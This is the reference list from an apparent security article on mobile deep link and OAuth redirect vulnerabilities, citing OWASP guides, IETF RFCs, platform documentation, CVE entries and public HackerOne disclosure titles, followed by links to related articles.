  1. OWASP Mobile Application Security Verification Standard (MASVS). https://mas.owasp.org/MASVS/

  2. OWASP Mobile Application Security Testing Guide (MASTG). https://mas.owasp.org/MASTG/

  3. OWASP MASTG-TEST-0028: Testing Deep Links. https://mas.owasp.org/MASTG/tests/android/MASVS-PLATFORM/MASTG-TEST-0028/

  4. IETF RFC 6749: The OAuth 2.0 Authorization Framework. https://datatracker.ietf.org/doc/html/rfc6749

  5. IETF RFC 7636: Proof Key for Code Exchange by OAuth Public Clients (PKCE). https://datatracker.ietf.org/doc/html/rfc7636

  6. IETF RFC 8252: OAuth 2.0 for Native Apps. https://datatracker.ietf.org/doc/html/rfc8252

  7. IETF RFC 6819: OAuth 2.0 Threat Model and Security Considerations. https://datatracker.ietf.org/doc/html/rfc6819

  8. Apple Developer: Supporting associated domains. https://developer.apple.com/documentation/xcode/supporting-associated-domains

  9. Apple Developer: Allowing apps and websites to link to your content. https://developer.apple.com/documentation/xcode/allowing-apps-and-websites-to-link-to-your-content

  10. Android Developers: Verify Android App Links. https://developer.android.com/training/app-links/verify-android-applinks

  11. Android Developers: Unsafe use of deep links. https://developer.android.com/privacy-and-security/risks/unsafe-use-of-deeplinks

  12. Google: Digital Asset Links protocol. https://developers.google.com/digital-asset-links

  13. Liu, F., Wang, C., Pico, A., Yao, D., Wang, G. (2017). "Measuring the Insecurity of Mobile Deep Links of Android." USENIX Security Symposium 2017. https://www.usenix.org/conference/usenixsecurity17/technical-sessions/presentation/liu

  14. CVE-2026-26123: Microsoft Authenticator unclaimed deep link. https://nvd.nist.gov/vuln/detail/CVE-2026-26123 ; https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26123

  15. CVE-2024-32896: Google Pixel firmware EoP. https://nvd.nist.gov/vuln/detail/CVE-2024-32896

  16. CVE-2024-35205: Xiaomi File Manager (Dirty Stream). https://nvd.nist.gov/vuln/detail/CVE-2024-35205

  17. Microsoft Security Blog: "Dirty stream" attack: discovering and mitigating a common vulnerability pattern in Android apps. May 2024. https://www.microsoft.com/en-us/security/blog/2024/05/01/dirty-stream-attack-discovering-and-mitigating-a-common-vulnerability-pattern-in-android-apps/

  18. HackerOne #855618 (Shopify): Account takeover intercepting magic link for Arrive app. https://hackerone.com/reports/855618

  19. HackerOne #1667998 (KAYAK): 1 click Account takeover via deeplink in [com.kayak.android]. https://hackerone.com/reports/1667998

  20. HackerOne #665651 (GSA Bounty): Stealing Users OAuth Tokens through redirect_uri parameter to GSA Bounty (US$750). https://hackerone.com/reports/665651

  21. HackerOne #401793 (Grab): [Grab Android/iOS] Insecure deeplink. https://hackerone.com/reports/401793

  22. HackerOne #1087744 (Shopify): Improper deep link validation. https://hackerone.com/reports/1087744

  23. HackerOne #110293 (X / xAI): Insufficient OAuth callback validation leading to Periscope account takeover. https://hackerone.com/reports/110293

  24. HackerOne #166942 (X / xAI): Leaking Digits OAuth authorization codes. https://hackerone.com/reports/166942

  25. HackerOne #131202 (X / xAI): [Critical] Steal OAuth Tokens. https://hackerone.com/reports/131202

  26. HackerOne #87040 (X / xAI): XSS on OAuth authorize/authenticate. https://hackerone.com/reports/87040

  27. HackerOne #1861974: Stealing Users OAuth authorization code via redirect_uri. https://hackerone.com/reports/1861974

  28. HackerOne #405100: Stealing Users OAUTH Tokens via redirect_uri. https://hackerone.com/reports/405100

  29. NowSecure: Deep Link Security: How to Guard Against Mobile App Deep Link Abuse. April 2019. https://www.nowsecure.com/blog/2019/04/05/how-to-guard-against-mobile-app-deep-link-abuse/

  30. Doyensec: Common OAuth Vulnerabilities. January 2025. https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html

  31. Doyensec: OAuth Cheat Sheet (PDF). https://doyensec.com/resources/Doyensec_OAuth_CheatSheet.pdf

  32. Ostorlab: One Scheme to Rule Them All: OAuth Account Takeover. https://blog.ostorlab.co/one-scheme-to-rule-them-all.html

  33. Ostorlab: iOS URL Scheme Hijacking. https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html

  34. PortSwigger Web Security Academy: OAuth labs. https://portswigger.net/web-security/oauth

  35. PortSwigger: Lab: OAuth account hijacking via redirect_uri. https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri

  36. MITRE ATT&CK Mobile T1418: Application Discovery. https://attack.mitre.org/techniques/T1418/

  37. MITRE ATT&CK Mobile T1411: Input Capture. https://attack.mitre.org/techniques/T1411/

  38. CISA Known Exploited Vulnerabilities Catalog. https://www.cisa.gov/known-exploited-vulnerabilities-catalog

  39. National Vulnerability Database (NVD). https://nvd.nist.gov/

  40. GitHub Security Advisory database. https://github.com/advisories

3 views

1

X

Related reading

Vulnerability Statistics 2026: CVE Volume, Time-to-Exploit, and CISA KEV
Web App Security

Vulnerability Statistics 2026: CVE Volume, Time-to-Exploit, and CISA KEV

Vulnerability stats 2026: 48,185 CVEs in 2025, 90 zero-days, 1,484 KEV entries, 22-second access handoff, 42 percent exploited before patch.

26 min read

GraphQL API Vulnerabilities and Common Attacks: A Technical Guide
Web App Security

GraphQL API Vulnerabilities and Common Attacks: A Technical Guide

Twelve verified GraphQL CVEs, OWASP API Top 10 mapping, real bug bounty disclosures, and a layered defender stack for security engineers and AppSec leads.

28 min read

Education Data Breach Statistics 2026: K-12 Ransomware and Higher Ed Trends
Network SecurityWeb App Security

Education Data Breach Statistics 2026: K-12 Ransomware and Higher Ed Trends

PowerSchool exposed 62M students. 251 ransomware attacks in 2025. 3.96M records breached, +27% YoY. K-12 SIX, MS-ISAC, Sophos, Comparitech sourced.

26 min read

Contents

    X